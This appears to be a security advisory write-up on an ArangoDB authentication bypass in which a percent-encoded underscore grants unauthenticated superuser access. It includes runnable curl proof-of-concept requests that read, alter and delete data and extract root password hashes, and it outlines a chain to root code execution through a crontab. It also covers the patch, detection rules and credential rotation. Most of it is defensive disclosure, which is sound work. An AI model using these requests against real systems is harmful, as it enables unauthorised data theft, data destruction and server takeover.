Introduction
An unauthenticated attacker who swaps a single underscore for its percent-encoded form, %5f, can reach ArangoDB's privileged /_api/* actions as superuser, reading, modifying, and deleting documents across every database. The exposed data includes the _system _users collection, which holds password hashes and salts, so reading root's credentials on a reachable, default-configured instance is trivial.
ArangoDB is a multi-model database that combines graph, document, and full-text search, marketed by its vendor as a complete and scalable graph database. The reviewed materials do not establish its market share, so we treat the vendor positioning as a description rather than a ranking. What matters here is the flaw itself and the available patch, detection, and credential-rotation guidance.
Technical Information
CVE-2026-126755 is an authentication bypass classified as CWE-288 (authentication bypass using an alternate path or channel). The root cause is a parser differential: two parts of the server disagree about what the request path says.
- The auth gate reads the raw path.
RestActionHandler::hasAllowedUnauthenticatedPath()decides whether a request counts as a public Foxx route. It usesrequest()->requestPath(), which is never URL-decoded. Any path that does not start with/_is treated as public. When--server.authentication-system-onlyis on (the default), those requests are served without credentials and run in a superuserExecContext. - The dispatcher reads the decoded path. The action lookup uses
decodedSuffixes(), which runsurlDecodePathon each path segment and turns%5finto_.
So a path like /%5fapi/simple/... passes the gate as a public path, then runs the real _api/simple/* action with superuser rights. The flaw affects single server and coordinator roles when authentication-system-only is true and the deployment is reachable over HTTP.
The key trick is to encode the leading underscore directly: use %5fapi. The double-underscore variant %5f_api decodes to __api and returns 404, so those requests indicate sloppy probing rather than a successful bypass.
Attack flow
- An attacker identifies a reachable ArangoDB instance running an affected version with authentication enabled. A baseline unauthenticated
PUTto the literal path/_db/_system/_api/simple/first-examplereturns 401, confirming authentication is on. - The attacker resends the same request with the leading underscore of
_apiencoded as%5f:PUT /_db/_system/%5fapi/simple/first-example. The gate sees a non-/_path, serves it anonymously, and escalates to superuser. - The dispatcher decodes
%5fapiback to_apiand routes the request to the real_api/simple/*JavaScript action, which executes with root-equivalent authority. - Using the
simpleendpoints, the attacker reads documents (first-example), modifies them (update-by-example), and deletes them (remove-by-example) across any collection, including_users, where password hashes and salts live.
RCE chain
The _users disclosure yields weak single-round SHA-256 hashes with a 32-bit salt. Since 2026-09-13 a public PoC chains this bug with GHSA-rvhw-4hpw-9vrx (the authenticated REST task handler trusts a client-supplied isSystem:true, creating an Internal-context JavaScript task) to reach unauthenticated remote code execution as the arangod OS user (root in the official image). The chain: a %5f-encoded read of root authData, crack the weak hash or write to _users unauthenticated, log in via /_open/auth, then PUT /_api/tasks/{id} with isSystem:true to write a root crontab that crond executes as uid=0(root).
Proof of Concept
The vendor advisory GHSA-rrgq-978q-36mq includes a runnable PoC, validated against the official arangodb:3.12 image (server 3.12.10) with authentication on (the default):
docker run -d --name arango -e ARANGO_ROOT_PASSWORD=test1234 -p 8529:8529 arangodb:3.12 B=http://127.0.0.1:8529 # baseline: the real path requires auth curl -s -o /dev/null -w "%{http_code}\n" $B/_db/_system/_api/simple/first-example # -> 401 # seed a document (as the admin, for the demo target) curl -s -u root:root -X POST $B/_api/collection -d '{"name":"secretdata"}' >/dev/null curl -s -u root:root -X POST "$B/_api/document/secretdata" -d '{"_key":"k1","flag":"TOP-SECRET"}' >/dev/null # ATTACK - no credentials, encode the leading "_" of "_api" as %5f: curl -s -X PUT "$B/_db/_system/%5fapi/simple/first-example" -d '{"collection":"secretdata","example":{}}' # -> {"document":{"_key":"k1","flag":"TOP-SECRET"...},"error":false,"code":200} curl -s -X PUT "$B/_db/_system/%5fapi/simple/update-by-example" \ -d '{"collection":"secretdata","example":{"_key":"k1"},"newValue":{"flag":"PWNED"}}' # -> {"updated":1,"error":false,"code":200} curl -s -X PUT "$B/_db/_system/%5fapi/simple/remove-by-example" -d '{"collection":"secretdata","example":{}}' # -> {"deleted":1,"error":false,"code":200} # read password hashes out of the _users system collection, unauthenticated: curl -s -X PUT "$B/_db/_system/%5fapi/simple/first-example" -d '{"collection":"_users","example":{"user":"root"}}' # -> {"document":{"user":"root","authData":{"simple":{"hash":"...","salt":"...","method":"sha256"}...}}}
All attack requests return HTTP 200 with data identical to authenticated root, while the literal-underscore baseline returns 401. The advisory also references a helper poc_path_confusion.py that reproduces the parser differential side by side.
An independent reproduction, Pruva REPRO-2026-00355, provides a downloadable reproduction_steps.sh that runs the full unauthenticated-to-root-RCE chain twice against the official image digest sha256:01be938f... (3.12.10.1) and confirms 3.12.11 (digest sha256:39bbca48...) blocks both the encoded read/update (401) and the isSystem:true task (403). The observed proof included uid=0(root) command output via a root crontab written through the Internal JS task.
Patch Information
ArangoDB fixed this in 3.12.11. The vendor advisory lists every version up to and including 3.12.10.1 as vulnerable and 3.12.11 as the patched release. The code change is commit 43ec7fbac1a5abeff0d64e3a7b29099976e1fcfc, titled "Fixityfix" by Markus Pfeiffer on 2026-08-24. It changes one file, arangod/Actions/RestActionHandler.cpp, adding 7 lines and removing 1. The GitHub compare API shows v3.12.11 is 134 commits ahead of this commit and 0 behind, so the fix is part of the 3.12.11 release.
The fix makes the gate decode the path before checking it, so it sees the same string the dispatcher acts on:
@@ -143,8 +143,14 @@ bool RestActionHandler::hasAllowedUnauthenticatedPath() const { auto const* const auth = AuthenticationFeature::instance(); ADB_PROD_ASSERT(auth->isActive()); auto const& path = request()->requestPath(); + + // requestPath contains raw path, but this check relies on decoded paths + auto isUnauthenticatedFoxxPath = [](std::string_view path) { + return !path.empty() && !StringUtils::urlDecodePath(path).starts_with("/_"); + }; + return auth->authenticationSystemOnly() && // TODO remove in 4.0 - !path.empty() && !path.starts_with("/_"); + isUnauthenticatedFoxxPath(path); }
How it works:
- Same decoder on both sides. The new
isUnauthenticatedFoxxPathlambda callsStringUtils::urlDecodePath, the same helperGeneralRequest::decodedSuffixes()uses for routing. Because both sides decode the same way,/%5fapi/...now becomes/_api/...before thestarts_with("/_")test. The gate classifies it as a system path, so the request is no longer granted anonymously and no longer escalated (_mustEscalateToSuperuserstays false). - Fixed where it matters most. This one function controls both outcomes: turning a
DENIEDresult intoGRANTED, and setting_mustEscalateToSuperuser = true. Fixing it closes the unauthenticated access and the privilege escalation together. - Small, targeted change. The patch does not change
HttpRequest::parseUrl, sorequestPath()still returns the raw path. The decoding happens only inside this security check. The flip side is that any other check comparingrequestPath()against/_prefixes would still have the raw-versus-decoded gap, and the advisory names only this gate as the bypass point. - Old behaviour still exists. The
authenticationSystemOnly()branch and its// TODO remove in 4.0comment remain. Foxx routes are still served without authentication in the default configuration; the difference is that encoded system paths can no longer pass as Foxx routes.
The advisory reports that an independent test confirmed 3.12.11 blocks both steps of the public exploit chain that pairs this bug with GHSA-rvhw-4hpw-9vrx. It also warns that installing 3.12.11 does not undo exposure that already happened: because _users hashes could be read without authentication, admins should rotate the root password, all other user passwords, and the JWT secret or keyfile after upgrading.
Detection Methods
There is one public detection check for this bug: ProjectDiscovery's Nuclei template arangodb-auth-bypass, which the CVE record lists as a reference. The reviewed sources contained no public Sigma, YARA, Snort, or Suricata rules and no attacker IPs, domains, or hashes. VulnCheck reports that Shadowserver first saw exploitation evidence on 2026-09-16, so review past logs as well as current exposure.
1. Active scanning with Nuclei
The template sends two requests and reports a finding only if both conditions hold (flow: http(1) && http(2)):
- Baseline: an unauthenticated
PUTto the normal/_api/simple/first-examplepath must return401. This confirms authentication is on and avoids false positives on servers with authentication disabled. - Bypass probe: the same request to the
%5fapipath must return200, and the body must contain a returned document from the_userscollection with"error":false.
The matching logic, taken directly from the template:
flow: http(1) && http(2) ... matchers: - type: dsl dsl: - 'status_code == 401' internal: true ... PUT /_db/_system/%5fapi/simple/first-example HTTP/1.1 ... unsafe: true matchers: - type: dsl dsl: - 'contains(body, "\"document\"") && contains(body, "_users/") && contains(body, "\"error\":false")' - 'status_code == 200' condition: and
Things to keep in mind: unsafe: true makes Nuclei send the raw path without normalizing it, which matters because many HTTP clients and proxies would decode %5f to _ before sending and hide the bug. A positive result means the scanner actually read a record from _users, which holds password hashes, so run it only against authorized systems and treat any hit as a confirmed compromise path. The template's metadata includes the Shodan query http.title:"ArangoDB Web Interface" for finding your own internet-facing instances.
2. Passive detection in HTTP, proxy, and WAF logs
The exploit must put an encoded underscore in the request path, which makes it visible in logs. GBHackers' write-up advises reviewing reverse-proxy, WAF, and application logs for %5fapi or %5Fapi, especially when followed by API paths. Practical tips:
- Match case-insensitively.
%5fand%5Fdecode the same way. - Log the raw URI. If your logging layer records only the decoded path, the attack looks like an ordinary
/_api/...call. Keep the original request line. - Watch the
/_db/<name>/%5fapi/...form. The vendor's examples use it, and the encoded segment comes right after the database prefix. - Prioritize the
simpleAPI endpoints used in the PoC:simple/first-example,simple/update-by-example, andsimple/remove-by-example, usually sent asPUTwith a JSON body. - Flag with highest priority a
%5fapirequest with no credentials that gets a200response. A401for the literal form and a200for the encoded form from the same client is a strong sign of exploitation. - Body content: requests whose JSON body names the
_userscollection suggest someone is trying to steal password hashes. - Do not ignore error responses. Remedio's research, as reported by GBHackers, notes that a
405 Unsupported methodon an encoded path still shows the request got past authentication. Attackers probing for the bug may produce405or404errors before a successful200. The double-underscore variant%5f_apidecodes to__apiand returns404, which points to sloppy probing rather than a successful bypass.
3. Post-exploitation hunting
Because this bypass can be chained with GHSA-rvhw-4hpw-9vrx for root-level code execution, GBHackers' reporting recommends hunting for unexpected scheduled tasks (especially task definitions containing isSystem: true), changes to database system collections (especially _users), and unusual outbound traffic from ArangoDB servers. Unexplained changes to user records, or documents changed or deleted without a matching authenticated session, are worth investigating.
4. Version-based exposure checks
If scanning is not possible, inventory-based checks work. The vendor advisory gives the affected range as <= 3.12.10.1, fixed in 3.12.11. The bug only applies when --server.authentication-system-only is true (the default) on single-server and coordinator roles. Recording each instance's version, role, and that setting gives an accurate exposure picture without sending any exploit traffic.
Affected Systems and Versions
- Affected: ArangoDB versions up to and including
3.12.10.1(the CVE record gives the broad range as versions before 3.12.11). - Fixed:
3.12.11. - Vulnerable configuration: single server and coordinator roles with
--server.authentication-system-onlyset totrue(the default), reachable over HTTP. - Severity: CVSS 3.1 score 9.8 per the repository advisory (network attack vector, low complexity, no privileges required, no user interaction, high confidentiality, integrity, and availability impact). NVD displays VulnCheck's CVSS 4.0 score of 9.3 and states that NIST has not yet provided its own assessment.
References
- NVD: CVE-2026-126755
- CVE Record: CVE-2026-126755
- ArangoDB advisory GHSA-rrgq-978q-36mq: Unauthenticated superuser access to all data
- VulnCheck: ArangoDB < 3.12.11 Authentication Bypass via URL-Encoded Underscore
- VulnCheck: ArangoDB before 3.12.11 Authentication Bypass via URL-Encoded Underscore
- Nuclei template: arangodb-auth-bypass
- Nuclei template (raw)
- Pruva REPRO-2026-00355
- Patch commit 43ec7fb (GitHub API)
- Compare 43ec7fb to v3.12.11 (GitHub API)
- Advisory metadata (GitHub API)
- GBHackers: ArangoDB vulnerabilities write-up
- secure.com: CVE-2026-126755



